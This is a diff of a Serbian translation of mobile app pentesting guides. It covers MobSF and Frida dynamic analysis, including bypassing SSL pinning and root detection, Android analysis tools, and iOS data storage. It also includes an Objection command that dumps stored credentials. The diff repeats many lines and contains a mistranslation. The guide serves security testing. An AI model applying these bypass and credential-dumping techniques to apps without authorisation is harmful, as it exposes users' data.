- **Dump podataka aplikacije** (URL-ovi, logovi, clipboard, screenshot-ovi koje ste napravili, screenshot-ovi koje je napravio "**Exported Activity Tester**", emailovi, SQLite baze podataka, XML datoteke i druge kreirane datoteke). Sve ovo se automatski radi osim za screenshot-ove, treba da pritisnete kada želite screenshot ili treba da pritisnete "**Exported Activity Tester**" da dobijete screenshot-ove svih eksportovanih aktivnosti.
|
||||
- Zabeleži **HTTPS saobraćaj**
|
||||
- Koristi **Frida** da dobije **runtime** **informacije**
|
||||
- **Dump podataka aplikacije** (URL-ovi, logovi, clipboard, screenshotovi koje ste napravili, screenshotovi napravljeni od strane "**Exported Activity Tester**", emailovi, SQLite baze podataka, XML datoteke i druge kreirane datoteke). Sve ovo se radi automatski osim za screenshotove, morate pritisnuti kada želite screenshot ili morate pritisnuti "**Exported Activity Tester**" da biste dobili screenshotove svih eksportovanih aktivnosti.
|
||||
- Zabeležiti **HTTPS saobraćaj**
|
||||
- Koristiti **Frida** za dobijanje **runtime** **informacija**
|
||||
|
||||
Od android **verzija > 5**, automatski će **pokrenuti Frida** i postaviće globalne **proxy** postavke za **hvatanje** saobraćaja. Hvataće samo saobraćaj iz testirane aplikacije.
|
||||
|
||||
**Frida**
|
||||
|
||||
Po defaultu, takođe će koristiti neke Frida skripte da **obiđe SSL pinning**, **detekciju root-a** i **detekciju debagera** i da **prati zanimljive API-je**.\
|
||||
MobSF takođe može **pozvati eksportovane aktivnosti**, uhvatiti **screenshot-ove** njih i **sačuvati** ih za izveštaj.
|
||||
Po defaultu, takođe će koristiti neke Frida skripte za **obići SSL pinning**, **detekciju root-a** i **detekciju debagera** i za **monitorisanje zanimljivih API-ja**.\
|
||||
MobSF takođe može **pozvati eksportovane aktivnosti**, uhvatiti **screenshotove** njih i **sačuvati** ih za izveštaj.
|
||||
|
||||
Da **počnete** dinamičko testiranje pritisnite zeleni dugme: "**Start Instrumentation**". Pritisnite "**Frida Live Logs**" da vidite logove generisane Frida skriptama i "**Live API Monitor**" da vidite sve pozive ka uhvaćenim metodama, prosleđene argumente i vraćene vrednosti (ovo će se pojaviti nakon pritiska na "Start Instrumentation").\
|
||||
MobSF takođe omogućava da učitate svoje **Frida skripte** (da pošaljete rezultate svojih Frida skripti MobSF-u koristite funkciju `send()`). Takođe ima **nekoliko unapred napisanih skripti** koje možete učitati (možete dodati više u `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), samo **izaberite ih**, pritisnite "**Load**" i pritisnite "**Start Instrumentation**" (moći ćete da vidite logove tih skripti unutar "**Frida Live Logs**").
|
||||
Da **počnete** dinamičko testiranje pritisnite zeleni dugme: "**Start Instrumentation**". Pritisnite "**Frida Live Logs**" da biste videli logove generisane Frida skriptama i "**Live API Monitor**" da biste videli sve pozive ka uhvaćenim metodama, prosleđene argumente i vraćene vrednosti (ovo će se pojaviti nakon pritiska na "Start Instrumentation").\
|
||||
MobSF takođe omogućava da učitate svoje **Frida skripte** (da biste poslali rezultate vaših Frida skripti u MobSF koristite funkciju `send()`). Takođe ima **several pre-written scripts** koje možete učitati (možete dodati više u `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), samo **izaberite ih**, pritisnite "**Load**" i pritisnite "**Start Instrumentation**" (moći ćete da vidite logove tih skripti unutar "**Frida Live Logs**").
|
||||
|
||||
.png>)
|
||||
|
||||
Pored toga, imate neke pomoćne Frida funkcionalnosti:
|
||||
|
||||
- **Enumerate Loaded Classes**: Ispisaće sve učitane klase
|
||||
- **Capture Strings**: Ispisaće sve uhvaćene stringove dok koristite aplikaciju (veoma bučno)
|
||||
- **Capture Strings**: Ispisaće sve uhvaćene stringove dok koristite aplikaciju (super bučno)
|
||||
- **Capture String Comparisons**: Može biti veoma korisno. **Prikazaće 2 stringa koja se upoređuju** i da li je rezultat bio True ili False.
|
||||
- **Enumerate Class Methods**: Unesite ime klase (kao "java.io.File") i ispisuje sve metode klase.
|
||||
- **Search Class Pattern**: Pretražuje klase po obrascu
|
||||
- **Trace Class Methods**: **Prati** celu **klasu** (vidi ulaze i izlaze svih metoda klase). Zapamtite da po defaultu MobSF prati nekoliko zanimljivih Android API metoda.
|
||||
|
||||
Kada izaberete pomoćni modul koji želite da koristite, treba da pritisnete "**Start Instrumentation**" i videćete sve izlaze u "**Frida Live Logs**".
|
||||
Kada odaberete pomoćni modul koji želite da koristite, potrebno je da pritisnete "**Start Intrumentation**" i videćete sve izlaze u "**Frida Live Logs**".
|
||||
|
||||
**Shell**
|
||||
|
||||
@ -589,7 +595,7 @@ Kada završite dinamičku analizu sa MobSF, možete pritisnuti na "**Start Web A
|
||||
### Pomoćna dinamička analiza sa Inspeckage
|
||||
|
||||
Možete preuzeti alat sa [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
|
||||
Ovaj alat koristi neke **Hooks** da vam pokaže **šta se dešava u aplikaciji** dok vršite **dinamičku analizu**.
|
||||
Ovaj alat koristi neke **Hooks** da vam omogući da znate **šta se dešava u aplikaciji** dok vršite **dinamičku analizu**.
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
@ -619,9 +625,9 @@ reverse-apk relative/path/to/APP.apk
|
||||
```
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
||||
SUPER je aplikacija za komandnu liniju koja se može koristiti na Windows, MacOS X i Linux, koja analizira _.apk_ datoteke u potrazi za ranjivostima. To čini dekompresovanjem APK-ova i primenom niza pravila za otkrivanje tih ranjivosti.
|
||||
SUPER je aplikacija za komandnu liniju koja se može koristiti na Windows, MacOS X i Linux, koja analizira _.apk_ datoteke u potrazi za ranjivostima. To radi dekompresovanjem APK-ova i primenom niza pravila za otkrivanje tih ranjivosti.
|
||||
|
||||
Sva pravila su fokusirana u `rules.json` datoteci, a svaka kompanija ili tester može kreirati svoja pravila za analizu onoga što im je potrebno.
|
||||
Sva pravila su centrirana u `rules.json` datoteci, a svaka kompanija ili tester može kreirati svoja pravila za analizu onoga što im je potrebno.
|
||||
|
||||
Preuzmite najnovije binarne datoteke sa [strane za preuzimanje](https://superanalyzer.rocks/download.html)
|
||||
```
|
||||
@ -651,9 +657,9 @@ androbugs.exe -f [APK file]
|
||||
|
||||
**Androwarn** je alat čija je glavna svrha da detektuje i upozori korisnika na potencijalno zloćudno ponašanje koje razvija Android aplikacija.
|
||||
|
||||
Detekcija se vrši **statčkom analizom** Dalvik bytecode-a aplikacije, predstavljenog kao **Smali**, uz pomoć biblioteke [`androguard`](https://github.com/androguard/androguard).
|
||||
Detekcija se vrši **statističkom analizom** Dalvik bytecode-a aplikacije, predstavljenog kao **Smali**, uz pomoć biblioteke [`androguard`](https://github.com/androguard/androguard).
|
||||
|
||||
Ovaj alat traži **uobičajeno ponašanje "loših" aplikacija** kao što su: eksfiltracija telekomunikacionih identifikatora, presretanje audio/video toka, modifikacija PIM podataka, izvršavanje proizvoljnog koda...
|
||||
Ovaj alat traži **uobičajeno ponašanje "loših" aplikacija** kao što su: Ekstrakcija telekomunikacionih identifikatora, presretanje audio/video toka, modifikacija PIM podataka, izvršavanje proizvoljnog koda...
|
||||
```
|
||||
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
```
|
||||
@ -661,7 +667,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA** je **M**obilna **A**plikacija **R**everzno inženjerstvo i **A**naliza Framework. To je alat koji okuplja često korišćene alate za reverzno inženjerstvo i analizu mobilnih aplikacija, kako bi pomogao u testiranju mobilnih aplikacija protiv OWASP mobilnih bezbednosnih pretnji. Njegov cilj je da ovu zadatak učini lakšim i prijatnijim za programere mobilnih aplikacija i stručnjake za bezbednost.
|
||||
**MARA** je **M**obila **A**plikacija **R**everzno inženjerstvo i **A**naliza okvir. To je alat koji okuplja često korišćene alate za reverzno inženjerstvo i analizu mobilnih aplikacija, kako bi pomogao u testiranju mobilnih aplikacija protiv OWASP mobilnih bezbednosnih pretnji. Njegov cilj je da ovu zadatak učini lakšim i prijatnijim za programere mobilnih aplikacija i stručnjake za bezbednost.
|
||||
|
||||
Može da:
|
||||
|
||||
@ -676,35 +682,35 @@ Može da:
|
||||
|
||||
Koristan za otkrivanje malvera: [https://koodous.com/](https://koodous.com)
|
||||
|
||||
## Obfuscating/Deobfuscating code
|
||||
## Obfuskacija/Deobfuskacija koda
|
||||
|
||||
Napomena da zavisno od usluge i konfiguracije koju koristite za obfuskaciju koda. Tajne mogu ili ne moraju biti obfuskirane.
|
||||
Imajte na umu da zavisno od usluge i konfiguracije koju koristite za obfuskaciju koda. Tajne mogu ili ne moraju biti obfuskirane.
|
||||
|
||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||
|
||||
Sa [Vikipedije](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** je open source alat za komandnu liniju koji smanjuje, optimizuje i obfuskira Java kod. U stanju je da optimizuje bajtkod kao i da otkrije i ukloni neiskorišćene instrukcije. ProGuard je besplatan softver i distribuira se pod GNU General Public License, verzija 2.
|
||||
Sa [Vikipedije](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** je alat otvorenog koda za komandnu liniju koji smanjuje, optimizuje i obfuskira Java kod. U stanju je da optimizuje bajtkod kao i da otkrije i ukloni neiskorišćene instrukcije. ProGuard je besplatan softver i distribuira se pod GNU General Public License, verzija 2.
|
||||
|
||||
ProGuard se distribuira kao deo Android SDK i pokreće se prilikom izgradnje aplikacije u režimu objavljivanja.
|
||||
ProGuard se distribuira kao deo Android SDK-a i pokreće se prilikom izgradnje aplikacije u režimu objavljivanja.
|
||||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
Pronađite vodič korak po korak za deobfuskaciju apk-a na [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
|
||||
(Prema tom vodiču) Poslednji put kada smo proveravali, način rada Dexguard-a bio je:
|
||||
(Prema tom vodiču) Poslednji put kada smo proveravali, način rada Dexguard-a je bio:
|
||||
|
||||
- učitati resurs kao InputStream;
|
||||
- proslediti rezultat klasi koja nasleđuje FilterInputStream da bi ga dekriptovali;
|
||||
- uraditi neku beskorisnu obfuskaciju da bi se izgubilo nekoliko minuta vremena od reverzera;
|
||||
- proslediti dekriptovani rezultat ZipInputStream-u da bi dobili DEX datoteku;
|
||||
- konačno učitati dobijeni DEX kao Resurs koristeći metodu `loadDex`.
|
||||
- konačno učitati rezultantni DEX kao Resurs koristeći metodu `loadDex`.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**DeGuard obrnuta proces obfuskacije koju izvode Android alati za obfuskaciju. Ovo omogućava brojne analize bezbednosti, uključujući inspekciju koda i predikciju biblioteka.**
|
||||
**DeGuard obrnuta proces obfuskacije koji izvode alati za obfuskaciju Android-a. Ovo omogućava brojne analize bezbednosti, uključujući inspekciju koda i predikciju biblioteka.**
|
||||
|
||||
Možete da otpremite obfuskovani APK na njihovu platformu.
|
||||
|
||||
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
|
||||
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
|
||||
|
||||
Ovo je LLM alat za pronalaženje potencijalnih bezbednosnih ranjivosti u android aplikacijama i deobfuskaciju koda android aplikacija. Koristi Google-ov javni API Gemini.
|
||||
|
||||
@ -724,13 +730,13 @@ APKiD vam daje informacije o **kako je APK napravljen**. Identifikuje mnoge **ko
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b je Android bezbednosna virtuelna mašina zasnovana na ubuntu-mate koja uključuje kolekciju najnovijih framework-a, tutorijala i laboratorija od različitih bezbednosnih entuzijasta i istraživača za reverzno inženjerstvo i analizu malvera.
|
||||
AndroL4b je Android bezbednosna virtuelna mašina zasnovana na ubuntu-mate koja uključuje kolekciju najnovijih okvira, tutorijala i laboratorija od različitih bezbednosnih entuzijasta i istraživača za reverzno inženjerstvo i analizu malvera.
|
||||
|
||||
## References
|
||||
|
||||
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
|
||||
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) To je odlična lista resursa
|
||||
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Brzi kurs o Androidu
|
||||
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Brzi kurs o Android-u
|
||||
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
|
||||
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
|
||||
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## iOS Osnovi
|
||||
## iOS Osnove
|
||||
|
||||
{{#ref}}
|
||||
ios-basics.md
|
||||
@ -62,7 +62,7 @@ otool -I -v <app-binary> | grep objc_release # Trebalo bi da uključuje _objc_
|
||||
- **Enkriptovana Binarna Datoteka**: Binarna datoteka treba da bude enkriptovana
|
||||
|
||||
```bash
|
||||
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Kriptid treba da bude 1
|
||||
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Kriptid bi trebao biti 1
|
||||
```
|
||||
|
||||
**Identifikacija Osetljivih/Neosiguranih Funkcija**
|
||||
@ -135,7 +135,7 @@ grep -iER "_vsprintf"
|
||||
|
||||
### Osnovna Dinamička Analiza
|
||||
|
||||
Pogledajte dinamičku analizu koju vrši [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Moraćete da se krećete kroz različite prikaze i komunicirate sa njima, ali će se povezivati sa nekoliko klasa dok radite druge stvari i pripremiće izveštaj kada završite.
|
||||
Pogledajte dinamičku analizu koju vrši [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Moraćete da se krećete kroz različite prikaze i komunicirate sa njima, ali će se povezati sa nekoliko klasa dok radite druge stvari i pripremiće izveštaj kada završite.
|
||||
|
||||
### Listing Instaliranih Aplikacija
|
||||
|
||||
@ -166,7 +166,7 @@ Struktura **IPA datoteke** je suštinski kao **zipped package**. Preimenovanjem
|
||||
|
||||
- **`Info.plist`**: Ova datoteka sadrži specifične konfiguracione detalje aplikacije.
|
||||
- **`_CodeSignature/`**: Ovaj direktorijum uključuje plist datoteku koja sadrži potpis, osiguravajući integritet svih datoteka u paketu.
|
||||
- **`Assets.car`**: Kompresovana arhiva koja čuva datoteke sa resursima poput ikona.
|
||||
- **`Assets.car`**: Kompresovana arhiva koja čuva datoteke resursa poput ikona.
|
||||
- **`Frameworks/`**: Ova fascikla sadrži nativne biblioteke aplikacije, koje mogu biti u obliku `.dylib` ili `.framework` datoteka.
|
||||
- **`PlugIns/`**: Ovo može uključivati ekstenzije aplikacije, poznate kao `.appex` datoteke, iako one nisu uvek prisutne. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Koristi se za čuvanje trajnih podataka vaše aplikacije za offline korišćenje, za keširanje privremenih podataka i za dodavanje funkcionalnosti poništavanja u vašu aplikaciju na jednom uređaju. Da bi se podaci sinhronizovali između više uređaja u jednom iCloud nalogu, Core Data automatski odražava vašu šemu u CloudKit kontejneru.
|
||||
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Datoteka `PkgInfo` je alternativni način za određivanje tipa i kodova kreatora vaše aplikacije ili paketa.
|
||||
@ -178,7 +178,7 @@ Struktura **IPA datoteke** je suštinski kao **zipped package**. Preimenovanjem
|
||||
|
||||
**Info.plist**
|
||||
|
||||
**Info.plist** služi kao kamen temeljac za iOS aplikacije, obuhvatajući ključne konfiguracione podatke u obliku **key-value** parova. Ova datoteka je neophodna ne samo za aplikacije već i za ekstenzije aplikacija i frameworke koji su upakovani unutar. Struktuirana je u XML ili binarnom formatu i sadrži kritične informacije koje se kreću od dozvola aplikacije do bezbednosnih konfiguracija. Za detaljno istraživanje dostupnih ključeva, možete se obratiti [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
|
||||
**Info.plist** služi kao kamen temeljac za iOS aplikacije, obuhvatajući ključne konfiguracione podatke u obliku **key-value** parova. Ova datoteka je neophodna ne samo za aplikacije već i za ekstenzije aplikacija i frameworke koji su upakovani unutar. Struktuirana je u XML ili binarnom formatu i sadrži kritične informacije koje se kreću od dozvola aplikacije do bezbednosnih konfiguracija. Za detaljno istraživanje dostupnih ključeva, može se konsultovati [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
|
||||
|
||||
Za one koji žele da rade sa ovom datotekom u pristupačnijem formatu, konverzija u XML može se lako postići korišćenjem `plutil` na macOS-u (dostupno nativno na verzijama 10.2 i novijim) ili `plistutil` na Linuxu. Komande za konverziju su sledeće:
|
||||
|
||||
@ -200,7 +200,7 @@ $ grep -i <keyword> Info.plist
|
||||
U iOS okruženju, direktorijumi su posebno dodeljeni za **sistemske aplikacije** i **aplikacije instalirane od strane korisnika**. Sistemske aplikacije se nalaze u direktorijumu `/Applications`, dok se aplikacije instalirane od strane korisnika nalaze pod `/var/mobile/containers/Data/Application/`. Ove aplikacije imaju jedinstveni identifikator poznat kao **128-bit UUID**, što otežava ručno lociranje fascikle aplikacije zbog nasumičnosti imena direktorijuma.
|
||||
|
||||
> [!WARNING]
|
||||
> Kako aplikacije u iOS moraju biti u sandboxu, svaka aplikacija će takođe imati fasciklu unutar **`$HOME/Library/Containers`** sa **`CFBundleIdentifier`** aplikacije kao naziv fascikle.
|
||||
> Kako aplikacije u iOS moraju biti u sandboxu, svaka aplikacija će takođe imati fasciklu unutar **`$HOME/Library/Containers`** sa **`CFBundleIdentifier`** aplikacije kao imenom fascikle.
|
||||
>
|
||||
> Međutim, obe fascikle (fascikle podataka i kontejnera) imaju datoteku **`.com.apple.mobile_container_manager.metadata.plist`** koja povezuje obe datoteke u ključnoj `MCMetadataIdentifier`).
|
||||
|
||||
@ -236,7 +236,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
|
||||
- **Documents/**
|
||||
- Sadrži sve podatke koje generišu korisnici. Krajnji korisnik aplikacije pokreće kreiranje ovih podataka.
|
||||
- Vidljiva korisnicima i **korisnici mogu pisati u nju**.
|
||||
- Vidljivo korisnicima i **korisnici mogu pisati u nju**.
|
||||
- Sadržaj u ovoj direktoriji je **backup-ovan**.
|
||||
- Aplikacija može onemogućiti putanje postavljanjem `NSURLIsExcludedFromBackupKey`.
|
||||
- **Library/**
|
||||
@ -244,22 +244,22 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- iOS aplikacije obično koriste poddirektorije `Application Support` i `Caches`, ali aplikacija može kreirati prilagođene poddirektorije.
|
||||
- **Library/Caches/**
|
||||
- Sadrži **polu-permanentne keširane fajlove.**
|
||||
- Nevidljiva korisnicima i **korisnici ne mogu pisati u nju**.
|
||||
- Nevidljivo korisnicima i **korisnici ne mogu pisati u nju**.
|
||||
- Sadržaj u ovoj direktoriji **nije backup-ovan**.
|
||||
- OS može automatski obrisati fajlove iz ove direktorije kada aplikacija nije pokrenuta i kada je prostor za skladištenje nizak.
|
||||
- **Library/Application Support/**
|
||||
- Sadrži **permanentne** **fajlove** neophodne za rad aplikacije.
|
||||
- **Nevidljiva** **korisnicima** i korisnici ne mogu pisati u nju.
|
||||
- **Nevidljivo** **korisnicima** i korisnici ne mogu pisati u nju.
|
||||
- Sadržaj u ovoj direktoriji je **backup-ovan**.
|
||||
- Aplikacija može onemogućiti putanje postavljanjem `NSURLIsExcludedFromBackupKey`.
|
||||
- **Library/Preferences/**
|
||||
- Koristi se za čuvanje svojstava koja mogu **ostati čak i nakon ponovnog pokretanja aplikacije**.
|
||||
- Informacije se čuvaju, nešifrovane, unutar sandbox-a aplikacije u plist datoteci pod nazivom \[BUNDLE_ID].plist.
|
||||
- Informacije se čuvaju, nešifrovane, unutar sandbox-a aplikacije u plist datoteci nazvanoj \[BUNDLE_ID].plist.
|
||||
- Svi parovi ključ/vrednost sačuvani koristeći `NSUserDefaults` mogu se naći u ovoj datoteci.
|
||||
- **tmp/**
|
||||
- Koristite ovu direktoriju za pisanje **privremenih fajlova** koji ne moraju da opstanu između pokretanja aplikacije.
|
||||
- Sadrži nepermanentne keširane fajlove.
|
||||
- **Nevidljiva** korisnicima.
|
||||
- **Nevidljivo** korisnicima.
|
||||
- Sadržaj u ovoj direktoriji nije backup-ovan.
|
||||
- OS može automatski obrisati fajlove iz ove direktorije kada aplikacija nije pokrenuta i kada je prostor za skladištenje nizak.
|
||||
|
||||
@ -295,7 +295,7 @@ DVIA-v2:
|
||||
```
|
||||
**Proverite da li je aplikacija enkriptovana**
|
||||
|
||||
Pogledajte da li ima izlaza za:
|
||||
Pogledajte da li ima ikakvog izlaza za:
|
||||
```bash
|
||||
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
|
||||
```
|
||||
@ -391,12 +391,12 @@ Da biste konvertovali fajlove iz **XML ili binarnog (bplist)** formata u XML, do
|
||||
```bash
|
||||
$ plutil -convert xml1 Info.plist
|
||||
```
|
||||
**Za korisnike Linux-a:** Prvo instalirajte `libplist-utils`, a zatim koristite `plistutil` da konvertujete vaš fajl:
|
||||
**Za Linux korisnike:** Prvo instalirajte `libplist-utils`, a zatim koristite `plistutil` da konvertujete vaš fajl:
|
||||
```bash
|
||||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
```
|
||||
**Tokom Objection Sesije:** Za analizu mobilnih aplikacija, specifična komanda omogućava direktno konvertovanje plist fajlova:
|
||||
**Unutar Objection Sesije:** Za analizu mobilnih aplikacija, specifična komanda vam omogućava da direktno konvertujete plist fajlove:
|
||||
```bash
|
||||
ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist
|
||||
```
|
||||
@ -434,11 +434,11 @@ NSLog(@"data stored in core data");
|
||||
### YapDatabase
|
||||
|
||||
[YapDatabase](https://github.com/yapstudios/YapDatabase) je skladište ključ/vrednost izgrađeno na vrhu SQLite-a.\
|
||||
Pošto su Yap baze podataka sqlite baze, možete ih pronaći koristeći predloženu komandu u prethodnom odeljku.
|
||||
Pošto su Yap baze sqlite baze, možete ih pronaći koristeći predloženu komandu u prethodnom odeljku.
|
||||
|
||||
### Other SQLite Databases
|
||||
|
||||
Uobičajeno je da aplikacije kreiraju svoje vlastite sqlite baze podataka. Mogu **čuvati** **osetljive** **podatke** na njima i ostaviti ih nešifrovane. Stoga, uvek je zanimljivo proveriti svaku bazu podataka unutar direktorijuma aplikacija. Stoga idite u direktorijum aplikacije gde su podaci sačuvani (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
Uobičajeno je da aplikacije kreiraju svoje vlastite sqlite baze. Mogu **čuvati** **osetljive** **podatke** na njima i ostaviti ih nešifrovane. Stoga, uvek je zanimljivo proveriti svaku bazu unutar direktorijuma aplikacija. Stoga idite u direktorijum aplikacije gde su podaci sačuvani (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
```bash
|
||||
find ./ -name "*.sqlite" -or -name "*.db"
|
||||
```
|
||||
@ -522,9 +522,9 @@ Ova metoda će ukloniti sve keširane zahteve i odgovore iz Cache.db datoteke.
|
||||
|
||||
[Apple dokumentacija](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
||||
|
||||
`Objekat konfiguracije ephemerne sesije je sličan podrazumevanoj konfiguraciji sesije (vidi podrazumevano), osim što odgovarajući objekat sesije ne čuva keševe, skladišta akreditiva ili bilo koje podatke povezane sa sesijom na disku. Umesto toga, podaci povezani sa sesijom se čuvaju u RAM-u. Jedini put kada ephemerna sesija zapisuje podatke na disk je kada joj kažete da zapiše sadržaj URL-a u datoteku.`
|
||||
`An ephemeral session configuration object is similar to a default session configuration (see default), except that the corresponding session object doesn’t store caches, credential stores, or any session-related data to disk. Instead, session-related data is stored in RAM. The only time an ephemeral session writes data to disk is when you tell it to write the contents of a URL to a file.`
|
||||
|
||||
3. Keš se takođe može onemogućiti postavljanjem politike keširanja na [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). To će onemogućiti čuvanje keša na bilo koji način, bilo u memoriji ili na disku.
|
||||
3. Keš se takođe može onemogućiti postavljanjem Cache Policy na [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). To će onemogućiti čuvanje keša na bilo koji način, bilo u memoriji ili na disku.
|
||||
|
||||
### Snapshots
|
||||
|
||||
@ -551,7 +551,7 @@ func applicationWillEnterForeground(_ application: UIApplication) {
|
||||
backgroundImage?.removeFromSuperview()
|
||||
}
|
||||
```
|
||||
Objective-C:
|
||||
Циљ-Ц:
|
||||
```
|
||||
@property (UIImageView *)backgroundImage;
|
||||
|
||||
@ -566,7 +566,7 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
|
||||
[self.backgroundImage removeFromSuperview];
|
||||
}
|
||||
```
|
||||
Ovo postavlja pozadinsku sliku na `overlayImage.png` svaki put kada se aplikacija pozadinski pokrene. Sprečava curenje osetljivih podataka jer će `overlayImage.png` uvek zameniti trenutni prikaz.
|
||||
Ovo postavlja pozadinsku sliku na `overlayImage.png` svaki put kada se aplikacija pozadinski pokrene. To sprečava curenje osetljivih podataka jer će `overlayImage.png` uvek zameniti trenutni prikaz.
|
||||
|
||||
### Keychain
|
||||
|
||||
@ -580,19 +580,19 @@ NSURLCredential *credential;
|
||||
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
|
||||
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
|
||||
```
|
||||
Da bi se izvukle ove sačuvane kredencijale, koristi se Objectionova komanda `ios nsurlcredentialstorage dump`.
|
||||
Da bi se izvukle ove sačuvane akreditive, koristi se Objectionova komanda `ios nsurlcredentialstorage dump`.
|
||||
|
||||
## **Prilagođene Tastature i Keš Tastature**
|
||||
## **Prilagođene Tastature i Keširanje Tastature**
|
||||
|
||||
Sa iOS 8.0 i novijim verzijama, korisnici mogu instalirati ekstenzije prilagođenih tastatura, koje se mogu upravljati pod **Podešavanja > Opšte > Tastatura > Tastature**. Iako ove tastature nude proširenu funkcionalnost, predstavljaju rizik od beleženja pritisaka tastera i slanja podataka na spoljne servere, iako su korisnici obavešteni o tastaturama koje zahtevaju pristup mreži. Aplikacije mogu, i trebale bi, ograničiti korišćenje prilagođenih tastatura za unos osetljivih informacija.
|
||||
Sa iOS 8.0 i novijim verzijama, korisnici mogu instalirati prilagođene ekstenzije tastature, koje se mogu upravljati pod **Settings > General > Keyboard > Keyboards**. Iako ove tastature nude proširenu funkcionalnost, predstavljaju rizik od beleženja pritisaka tastera i slanja podataka na spoljne servere, iako su korisnici obavešteni o tastaturama koje zahtevaju pristup mreži. Aplikacije mogu, i trebale bi, ograničiti korišćenje prilagođenih tastatura za unos osetljivih informacija.
|
||||
|
||||
**Preporuke za Bezbednost:**
|
||||
|
||||
- Preporučuje se onemogućavanje tastatura trećih strana radi poboljšane bezbednosti.
|
||||
- Budite svesni funkcija automatskog ispravljanja i automatskih predloga podrazumevane iOS tastature, koje mogu sačuvati osetljive informacije u keš datotekama smeštenim u `Library/Keyboard/{locale}-dynamic-text.dat` ili `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Ove keš datoteke treba redovno proveravati na prisustvo osetljivih podataka. Preporučuje se resetovanje rečnika tastature putem **Podešavanja > Opšte > Resetuj > Resetuj rečnik tastature** radi brisanja keširanih podataka.
|
||||
- Budite svesni funkcija automatskog ispravljanja i automatskih predloga podrazumevane iOS tastature, koje mogu sačuvati osetljive informacije u keš datotekama smeštenim u `Library/Keyboard/{locale}-dynamic-text.dat` ili `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Ove keš datoteke treba redovno proveravati na prisustvo osetljivih podataka. Preporučuje se resetovanje rečnika tastature putem **Settings > General > Reset > Reset Keyboard Dictionary** za brisanje keširanih podataka.
|
||||
- Presretanje mrežnog saobraćaja može otkriti da li prilagođena tastatura prenosi pritiske tastera na daljinu.
|
||||
|
||||
### **Prevencija Keširanja Polja za Tekst**
|
||||
### **Prevencija Keširanja Tekstualnih Polja**
|
||||
|
||||
Protokol [UITextInputTraits](https://developer.apple.com/reference/uikit/uitextinputtraits) nudi svojstva za upravljanje automatskim ispravljanjem i sigurnim unosom teksta, što je od suštinskog značaja za sprečavanje keširanja osetljivih informacija. Na primer, onemogućavanje automatskog ispravljanja i omogućavanje sigurnog unosa teksta može se postići sa:
|
||||
```objectivec
|
||||
@ -606,13 +606,13 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
```
|
||||
## **Logs**
|
||||
|
||||
Debugging koda često uključuje korišćenje **logging**. Postoji rizik jer **logovi mogu sadržati osetljive informacije**. Ranije, u iOS 6 i starijim verzijama, logovi su bili dostupni svim aplikacijama, što je predstavljalo rizik od curenja osetljivih podataka. **Sada su aplikacije ograničene na pristup samo svojim logovima**.
|
||||
